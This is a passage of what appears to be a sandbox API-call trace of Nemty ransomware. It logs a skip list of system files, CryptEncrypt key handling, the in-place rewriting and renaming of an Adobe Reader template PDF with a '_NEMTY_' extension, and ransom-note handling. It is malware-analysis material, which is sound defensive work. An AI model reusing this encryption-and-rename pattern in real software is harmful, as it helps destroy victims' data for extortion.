[0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0172.393] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0172.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.393] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0172.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.394] Sleep (dwMilliseconds=0x5) [0172.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a692130, dwHighDateTime=0x1d561e8)) [0172.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a692130, dwHighDateTime=0x1d561e8)) [0172.411] GetLastError () returned 0x0 [0172.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.411] GetLastError () returned 0x0 [0172.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.411] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.411] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.411] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0172.412] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="SZ0ZYgkWW69De8+h31DupsEhG9gwsSyB+LtN1JV3mBC4JOnky58DZnB/OmEnAPpz\r\nWmgBOjZJlc/qRR8HAYTu2ldN9GsRZXZ5ekMZFdBLyPKzj2dzki8YqtYIm7otgbqu\r\nM5LYu46OZAUy7ZsBUPnTlhYh64X9mN1yE1zzIOxd2ffSsEzFRfNVqxHo6m/MQ4BT\r\nAECaKuzehHukUBqOE+/PAgHKu5eztAqo1yi9ILO0W2bcNWmHVzUUdjIWt6jbIDeZ\r\nYsB8pw/57UrJEqIE7mR0kQBUYfjyTyS6xikeK/pfjWm+5cL2o724BTZGB8Z/o8lc\r\ngo5KfrHJQEPodBmYapeWmQ==\r\n", pcchString=0x653e5dc) returned 1 [0172.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0172.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.412] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=298383) returned 1 [0172.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0172.412] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.412] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0172.422] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.422] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0172.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.422] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=298383, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x48d8f [0172.422] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.424] CloseHandle (hObject=0x3b0) returned 1 [0172.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.424] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0172.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0172.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.424] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.424] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0172.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0172.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.425] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5f9bb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a5f9bb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a61fd10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.425] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.426] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.426] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.426] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.426] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5f9bb0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a5f9bb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a61fd10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.426] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.427] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="UKR", cAlternateFileName="")) returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2=".") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="..") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="...") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="windows") returned -1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="$RECYCLE.BIN") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="rsa") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="NTDETECT.COM") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="ntldr") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="MSDOS.SYS") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="IO.SYS") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="boot.ini") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="boot.ini") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="AUTOEXEC.BAT") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="ntuser.dat") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="desktop.ini") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="CONFIG.SYS") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="RECYCLER") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="BOOTSECT.BAK") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="bootmgr") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="programdata") returned 1 [0172.427] lstrcmpiW (lpString1="UKR", lpString2="appdata") returned 1 [0172.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UKR", lpUsedDefaultChar=0x0) returned 3 [0172.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UKR", lpUsedDefaultChar=0x0) returned 3 [0172.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0172.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0172.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0172.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\_nemty_kgobjgd_-decrypt.txt"), 